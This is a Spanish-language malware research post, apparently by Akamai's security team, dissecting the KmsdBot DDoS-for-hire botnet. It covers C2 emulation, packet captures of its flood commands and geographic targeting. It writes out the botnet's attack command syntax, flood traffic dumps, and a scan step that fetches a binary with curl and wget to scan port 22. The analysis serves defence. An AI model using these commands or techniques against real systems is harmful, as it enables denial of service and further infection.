Emulación del mando y control de KmsdBot y análisis de su tráfico de ataque
Edición y contribuciones adicionales de Tricia Howard
Resumen ejecutivo
Los investigadores de Akamai han continuado con sus investigaciones sobre KmsdBot, una botnetde criptominería, y han examinado su tráfico de ataque.
Debido a la multitud de sectores y zonas geográficas a los que se ha dirigido, creemos que KmsdBot es un ataque distribuido de denegación de servicio (DDoS) de alquiler.
Según las direcciones IP y los dominios observados, la mayoría de las víctimas se encuentran en Asia, Norteamérica y Europa.
Dos objetivos a destacar fueron FiveM y RedM, modificadores de juego de Grand Theft Auto V y Red Dead Redemption 2, respectivamente, lo que nos da una idea de los clientes de esta botnet.
Si bien no podemos confirmar el origen de la botnet, cabe destacar la interesante falta de actividad en Rusia y las regiones circundantes, lo que puede darnos una idea del lugar donde se originó.
Introducción
Ya en noviembre, uno de nuestros señuelos detectó una botnet de criptominería. Nuestro equipo de respuesta a incidentes e inteligencia en seguridad (SIRT, por sus siglas en inglés) la analizó y denominó KmsdBot. Infectó el señuelo después de experimentar con una nueva configuración e incluyó algunos orígenes interesantes. Hemos seguido analizando y experimentando con KmsdBot, incluso modificando el binario y haciendo que apuntara a nuestro propio servidor de mando y control (C2), lo que nos permitió observar cómo el atacante bloqueaba la botnet.
Como parte de nuestra investigación constante, decidimos documentar los diferentes comandos que KmsdBot acepta y realmente implementa. El entorno que estamos probando nos permite enrutar el C2 y enviar tráfico de ataque a hosts específicos, de forma que podemos examinar el tráfico enviado desde diferentes comandos de ataque. Como referencia, el bot incluye ataques a la capa 4 y capa 7 con TCP, UDP, HTTP y HTTPS y solicitudes GET y POST.
Análisis inicial
Gracias al análisis del malware, pudimos encontrar algunas cadenas de comandos al buscar la instrucción "move absolute" (Figura 1).
Fig. 1: Lista parcial de cadenas de comandos de la botnet
Encontramos más comandos al consultar otras instrucciones que se utilizan para cargar datos en los registros. En esta ocasión la instrucción fue "lea" o "load effective address" (Figura 2). A partir de ahí, pudimos analizar las distintas ubicaciones de las cadenas del servidor de C2 (Figura 3).
Fig. 2: Segunda lista parcial de comandos adicionales
Fig. 3: Ubicación de la cadena del servidor de mando y control (C2)
Análisis del tráfico de ataque
En función de los tcpdump del tráfico de ataque, algunos de los comandos disponibles no parecen haberse implementado aún en su totalidad, sino que envían un paquete vacío o predeterminado. La mayoría de estos comandos no implementados son la versión TCP de un comando UDP activo. Sin embargo, en el caso de los comandos activos, podemos observar algunos patrones de ataque exclusivos.
El primer ataque destacado se llama "bigdata" y envía solicitudes POST de 1 MB al puerto especificado. El encabezado Content-Type indica que la carga útil está codificada mediante URL, pero tras la inspección, parece ser ilícita. El objetivo de este ataque es enviar grandes cantidades de datos en el cuerpo de cada una de las solicitudes para aumentar la cantidad de ancho de banda que cada paquete necesitará para procesar la solicitud. Se trata de una funcionalidad muy básica que utilizan casi todas las campañas de DDoS, además de ser una de las funcionalidades más populares para esta botnet según nuestras observaciones.
!bigdata <target> 22 600 3
20:45:31.121974 IP <infected>.51214 > <target>.80: Flags [P.], seq 7241:14481, ack 1, win 502, options [nop,nop,TS val 931669114 ecr 1577041762], length 7240: HTTP
E..|..@.@.Y..*G..*G(...P.^.&.).O.....
.....
7.$z]..b18uSfkWchTJkErN0hFunGPegITykuWPbcVUI30GnUv8MGHSWRr0txvItdKFnUcKWCmftyrshUkDqNWgKqN1sHPlZUwSm2JQ3a8T0YCJsZZdIZ4ygppFITi6tGicpEM11paeEQcSmLPzCHY6VVN7Yd7zl58GShIvCVKdubLJBS64pvpYql5SWGZpv9TIOie9abaoY1h8NXy.
.
.
5Y29QAAzIKaiY9Nixq2IlfWn9iirDg9Bdhi4VPNFeff3QLoL5CEoOy0YPrEv4c6FiqrbmsbSiUpw4dVtYqOWZF1lLHtbXTPPlcZWTFlCmpvThwrNetuKdnYUpIVrINryurKdCfeLbNOM7oJ2duL33R7k2TXO2NvIqWdtBNd4PqboRthW0fxCcB5
Además de !bigdata, también estaban !tcpbigdata y !udpbigdata. Estos comandos no envían una carga útil tan grande y son paquetes SYN y UDP, respectivamente. Su función parece ser la misma que la del comando bigdata estándar, en el sentido de que aumentan la cantidad de presión que estos paquetes ejercen en un servidor, al aumentar el tamaño del paquete, pero también ofrecen la posibilidad de elegir el tráfico SYN y UDP.
Al utilizar una inundación SYN, el atacante puede valerse de la negociación en tres pasos propia del protocolo TCP para establecer una conexión semiabierta en muchos puertos distintos. Esto hace que el servidor de destino tenga dificultades para gestionar la cantidad de tráfico y aún más para intentar distinguir entre solicitudes de conexión legítimas y maliciosas. Los ataques basados en UDP aprovechan el que no sea necesaria la negociación en tres pasos, lo que facilita el ataque a un objetivo porque el atacante tiene una sobrecarga menor. Si el objetivo no establece un límite correcto, este ataque puede conseguir su propósito con menos recursos de ataque.
!udpbigdata <target> 223 120
14:34:03.823443 IP <infected>.44790 > <target>.80: UDP, length 541
E..9c.@.@..R.*G..*G(...P.%.."..y.A.>.9..)S^2...c.R.G.i~i%....=t..}8MRuu(.'a.%.b..n.~....p.....v./....8..C...53*.v.."{.-...Xc.GG....5B....Y....I.., rC;.5C... .V`..A.....R..|.M..?.uLq/Je6~..O..w..........;.xH.K'..s.l>.p|..f.O..,Z..C...W.f.^..}@.y..a=.2l... j..w{J..7...z.L....A..Puv1.......s*@.\......~.3.....[:...............7rm...=........4.gR..%....[.t,7..M.0......_........O..~ )rTdW...X.-.Jw.(.8..D5Q..S....OC.oz..u8..8.e...E:i.X.....+c.
.........hA[{|;Y.R.d..r!.H..8....Y....$.w.......Uc..:!.X=.fC...1.Gn...[so..{N3&..h.3.....G...2...g..@.?...xGQ<..r..*...._.7T.j..
También había algunos comandos de tráfico POST y GET de HTTP(s) estándar que se combinaban con el tráfico estándar, muy parecidos a un paquete normal tanto en tamaño como en formato, en lugar de centrarse en el impacto general del tamaño de un solo paquete. El objetivo de los ataques basados en HTTP suele ser un gran número de paquetes que son difíciles de distinguir de la actividad normal y que, por tanto, dificultan el filtrado al responder a un ataque. Como puede ver a continuación, estos paquetes se parecen mucho a los paquetes genéricos.
!post <target> 443 /fle/tracking 120 20 20 100
21:16:50.755007 IP <infected>.44466 > <target>.443: Flags [S], seq 203292974, win 64240, options [mss 1460,sackOK,TS val 933548747 ecr 0,nop,wscale 7], length 0
E..<..@.@....*G..*G(...........................
7...........
21:16:50.755031 IP <target>.443 > <infected>.44466: Flags [R.], seq 0, ack 203292975, win 0, length 0
E..(..@.@.T5.*G(.*G............/P....{..
!get <target> 443 /fle/tracking 30 20 20 100
21:24:23.088733 IP <infected>.48062 > <target>.443: Flags [S], seq 646433585, win 64240, options [mss 1460,sackOK,TS val 934001081 ecr 0,nop,wscale 7], length 0
E..<Ol@.@....*G..*G(....&..1...................
7...........
21:24:23.088751 IP <target>.443 > <infected>.48062: Flags [R.], seq 0, ack 646433586, win 0, length 0
Los comandos hex (!udphex y !tcphex) incluyen una pequeña cantidad de contenido codificado en hexadecimal. Esto podría deberse a que en algunos hosts es necesario que el contenido esté codificado en hexadecimal para que el comando se procese, o bien podría enviarse para hacer que el servidor de destino tenga dificultades a la hora de interpretar los datos que contiene.
!udphex <target> 80 80 30 250
21:04:06.915036 IP <infected>.32847 > <target>.80: UDP, length 31
E..;~.@.@..j.*G..*G(.O.P.'......\.j/.....R.u.a..6.J..1.:..$
Si bien los comandos udphex/tcphex no se centraban en el tamaño, los comandos tcphexclimb/udphexclimb parecen incorporar esta estrategia. Cada uno de los comandos se envía en un paquete. Con estos, el tamaño del paquete comienza siendo pequeño, similar al tráfico de udphex y tcphex , pero aumenta a medida que se envían más. Después de observar este tráfico durante un periodo de tiempo, podemos ver que, después de alcanzar un determinado tamaño de paquete especificado, comenzará de nuevo en un tamaño más pequeño y volverá a aumentar, repitiendo este proceso una y otra vez.
!udphexclimb <target> 80 60 600
21:38:53.854411 IP <infected>.50706 > <target>.80: UDP, length 1
E...o2@.@....*G..*G(...P. ...
21:38:53.854482 IP <infected>.55293 > <target>.80: UDP, length 181
E.....@.@.os.*G..*G(...P...i............A.>.....;.\...,...R...Z......2.c.....RG.<.`.%9....z....4=.W.:..+.!WA..6j..t.<..m...O /.z3.......]w<.BX..D...Da....SV3ZC...../...x[g......).....D.vP9K7<.`.Sz.=U..3....`f.
21:38:53.867809 IP <infected>.46227 > <target>.80: UDP, length 541
E..9z.@.@....*G..*G(...P.%..em.D..'...A&./wb.
...1
....ESG.v.\S..5.....W.....J.C.>_a..{.B.........Z.......a........_{#nG%...SD.....x`q.p..^~......w@.&.~.&M..l.x.@.h..
...,....q0!......NN~......vf.}<Z.[...-.XS...%.......5......JP(>/...Z..t.........9.`..N*..o..T..z.....h ..F .-.....rat./.VQ.z.....C...}.....2..?`..H...ty.bd[.3.XN.ne.. ..e....r.|..Z'..!ge....]./s..,.{v.n..01.;..R[..~..o.Ze.tP.Rs..x.07fL.Fh.p.5.....I...4..YO..d....#.7Q03.)7.>.o...:T\naG//.....a."...e.g.(.ih.5@...c-...e.EEd..B.qM..}U./
..?H{......"<L>...#.....$.....>".X...!n........bPM.09....\6n.....0.
21:38:53.875122 IP <infected>.41308 > <target>.80: UDP, length 541
E..9.+@.@.w..*G..*G(.\.P.%......[..........:..tZn...812/...8.h5....6.,`....&..4.Un..H(....k.Sex.C.m.# ...].2b(........>.n.h.... .U....Y.[.UG.k.9..\l.."qe.76..lvkf..c...~.NrM..(m?<.F...>5/J9N...SK3.....1....G....)`...c..G..=...............:......#.n...........:..) .n.<. .....%..ja..|.P.(........h6.vEQ..sV.....z VSr....h....... ....1xO...1.C.{..NDX2...5,R}F.Sv.mm@....5...Ss..V.j~a..k9....".3..T&B.*......=....r.
..I.3.q.u.1.
..9t...+...D..?z.D...Lu...oA....%V....#+:...z..&.GVQ..{.......6.dQ.".x...(ch....\......%.. x.d.....U#........ ...f..u...%1..\m.A. .`:B....;....
Hay dos comandos en concreto que destacaron porque parecen estar dirigidos a servidores de modificación de videojuegos. Habíamos indicado en nuestra primera publicación que el primer KmsdBot que habíamos detectado había sido con FiveM. FiveM y RedM son plataformas de alojamiento de servidores modificados de "Grand Theft Auto V" y "Red Dead Redemption 2", respectivamente, que permiten a los propietarios de servidores crear diferentes reglas, así como incorporar nuevas ideas al servidor que no estuvieran en el juego independiente.
La presencia de estos dos comandos confirma la sospecha de que este malware es una forma de DDoS de alquiler. Esta teoría también queda respaldada por la amplia variedad de sectores a los que se ha dirigido: videojuegos, marcas de lujo e incluso empresas de seguridad.
!redm <target> 7777 / 10 10 10 100
21:39:42.156933 IP <infected>.32991 > <target>.80: UDP, length 1
E...u.@.@..o.*G..*G(...P. ...
21:39:42.159173 IP <infected>.51973 > <target>.80: UDP, length 1
E...f.@.@....*G..*G(...P. ..}
21:39:42.199900 IP <infected>.50248 > <target>.80: UDP, length 541
E..9..@.@.d[.*G..*G(.H.P.%..U.~.
'..K....h._ig.o..u+Z^....B+E.9.............../.......S.m.....:.....7.U..Ys)../..........i4#..P...?...D...2e.E....]wo...-.....$.
.FG"..(./..L. ....).......q.l[..R&..A..)._..U.9O..jK<./..W'gSL.."g
i....N.b.a.../...Jq.....S..... .e.e.b.-..<..Q.#.Nr.,u..!L....8.T..NN.. ....v.........b......2oz....Y.p...=#.0c.O..)...^.U.fOy..Y#.:V..U.!..4D.......b..i.....+.w....u...5.*..r.....(.u....!....cfZ...Lw.pY.p.......I.{T...)B..n...w.4_...q.3.9.L..2.X.f...f.....\t...^)...Y....'../Kl......Bm.,8@.......<.`CR....=
..1.`.....$#.9.Q..0.%~.. ..d...iw
21:39:42.208292 IP <infected>.60098 > <target>.80: UDP, length 1
E....A@.@....*G..*G(...P. …
Un comando particular de esta botnet es el comando !scan . La función de análisis parece apuntar a rutas específicas dentro del entorno de destino, realiza una negociación en tres pasos y, a continuación, les envía una solicitud PUSH curl y una solicitud PUSH wget. El análisis también parece ejecutar dos binarios diferentes: kumd y kmsd.
!scan <target> <target>/win/kzmds <target> kumd kmsd
15:57:58.460042 IP <infected>.51782 > <target>.80: Flags [S], seq 243112026, win 64240, options [mss 1460,sackOK,TS val 1864816453 ecr 0,nop,wscale 7], length 0
E..<..@.@..;.*G..*G(.F.P.}.Z...................
o&.E........
15:57:58.460085 IP <target>.80 > <infected>.51782: Flags [S.], seq 2021013353, ack 243112027, win 65160, options [mss 1460,sackOK,TS val 2510189102 ecr 1864816453,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.Fxv7i.}.[...............
..r.o&.E....
15:57:58.460097 IP <infected>.51782 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 0
E..4..@.@..B.*G..*G(.F.P.}.[xv7j...........
o&.E..r.
15:57:58.460281 IP <infected>.51782 > <target>.80: Flags [P.], seq 1:89, ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 88: HTTP: GET /x86_64/ksmdx HTTP/1.1
E.....@.@....*G..*G(.F.P.}.[xv7j...........
o&.E..r.GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: curl/7.86.0
Accept: */*
15:58:04.444745 IP <infected>.41264 > <target>.80: Flags [S], seq 148305932, win 64240, options [mss 1460,sackOK,TS val 1864822437 ecr 0,nop,wscale 7], length 0
E..<k3@.@....*G..*G(.0.P.......................
o&..........
15:58:04.444793 IP <target>.80 > <infected>.41264: Flags [S.], seq 3903795483, ack 148305933, win 65160, options [mss 1460,sackOK,TS val 2510195086 ecr 1864822437,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.0..1....................
....o&......
15:58:04.444807 IP <infected>.41264 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 0
E..4k4@.@....*G..*G(.0.P......1............
o&......
15:58:04.444992 IP <infected>.41264 > <target>.80: Flags [P.], seq 1:140, ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 139: HTTP: GET /x86_64/ksmdx HTTP/1.1
E...k5@.@..h.*G..*G(.0.P......1......L.....
o&......GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Observamos que kmsd estaba ejecutando '/x86_64/ksmdx' e intentamos utilizar estos parámetros con el binario ksmdx para ver lo que sucedería. Comenzó a analizar las IP con el puerto 22 abierto, lo que aumentó la sospecha de que se utilizaba para buscar más dispositivos que infectar e incorporar a la botnet.
strace -f ./ksmdx <target> <target>/win/kzmds <target> kumd kmsd
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 28
[pid 4554] connect(28, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("254.105.206.15")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 28, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497619288, u64=140327669114200}}) = 0
[pid 4554] epoll_ctl(4, EPOLL_CTL_DEL, 30, 0xc0001af594) = 0
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("227.46.34.129")}, 16) = -1 ENETUNREACH (Network is unreachable)
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("121.149.127.161")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 30, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497326296, u64=140327668821208}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1056
[pid 4554] connect(1056, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("252.117.241.5")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1056, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497346936, u64=140327668841848}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1057
[pid 4554] connect(1057, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("175.81.51.242")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1057, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497610168, u64=140327669105080}}^Cstrace: Process 4554 detached
<detached ...>
Ubicaciones geográficas
Además de los comandos de ataque, pudimos asignar las direcciones IP y los dominios de destino observados a ubicaciones geográficas. Se localizó una gran concentración de objetivos en Asia, Norteamérica y Europa en función de las direcciones IP y los dominios observados.
También destacó la poca actividad dirigida al territorio ruso y a sus regiones circundantes, lo que puede ser un indicador útil para determinar el verdadero origen de estos ataques. En la Figura 4, cada uno de los marcadores indica al menos un intento de ataque de KmsdBot.
Fig. 4: Intentos de infección de KmsdBot
Seguimiento de los comandos de C2
Algunos de nuestros esfuerzos iniciales giraron en torno a la observación de la actividad procedente del servidor de C2. Para empezar, nos introdujimos en la botnet como un host infectado para, a continuación, esperar a que entraran comandos de ataque desde el servidor de C2. Registramos estos comandos de ataque en Elastic, anotando los comandos, los objetivos, las marcas temporales y otras variables que observamos.
Esto nos permitió no solo ver qué capacidades de ataque se estaban utilizando, sino que también nos dio una idea de la distribución de las víctimas y de cómo se pretendía utilizar cada comando. Mediante este proceso, pudimos extraer estos 18 comandos:
post
post1
get
get1
bigdata
fivem
getrand
redm
tcp
tcpbigdata
tcpclimb
tcphex
tcphexclimb
udp
udpbigdata
udphex
udphexclimb
Scan
De inmediato, lo que nos llamó la atención al observar los nombres de estos comandos fue la especificidad de algunos de los comandos y la variedad general presente. En el caso de 'bigdata', detectamos que no solo se ofrecía como una característica independiente, sino también como una versión específica de TCP y como una versión específica de UDP. La mayoría del resto de comandos se ofrecían de forma similar.
Además, un resultado destacado es un conjunto de comandos que se dirigen a servidores de juego específicos: 'fivem' y 'redm'. La presencia de estos comandos concuerda con las observaciones anteriores de servidores de juego víctimas de ataques, además de darnos una idea de los clientes de esta botnet de alquiler.
En la Figura 5, puede ver el desglose de los comandos de ataque que observamos durante 30 días, así como la frecuencia detectada.
Fig. 5: Comandos de la botnet más utilizados, y sus frecuencias, observados durante 30 días
Los comandos 'bigdata' y 'get' lideran el grupo con más de 70 comandos, probablemente porque son los ataques genéricos más importantes. El tercer ataque más frecuente, 'fivem', aparece en aproximadamente 45 llamadas. Esto nos indica que, aunque los servidores de juegos son un objetivo específico ofrecido, puede que no sea el único sector que se esté viendo afectado por estos ataques.
El comando FiveM se sigue utilizando mucho, e incluso se sigue usando RedM, pero las frecuencias de los comandos observadas nos hacen concluir que el grupo de víctimas es muy variado. La compatibilidad con varios tipos de servidores hace que la facilidad de uso general de esta botnet sea mayor y parece ser eficaz para atraer clientes.
Conclusión
Cuando comenzamos a analizar KmsdBot, nos fascinó por algunos motivos concretos: Se había escrito en Go, tenía funcionalidad de criptominería y objetivos aparentemente erráticos. En un análisis más detallado, las pruebas apuntan a que se trata de un DDoS como servicio, lo que explicaría muchos de sus datos interesantes.
Uno de los objetivos del SIRT de Akamai es diseccionar y documentar la evolución de botnets como KmsdBot e informar al público sobre lo que descubrimos. KmsdBot sigue algunas de las tendencias generales que hemos detectado, específicamente la del lenguaje en el que está escrita.
Cada vez es más habitual desarrollar código malicioso en distintos lenguajes, como Go e incluso Python compilado. El SIRT seguirá supervisando el panorama de amenazas a medida que este evolucione.
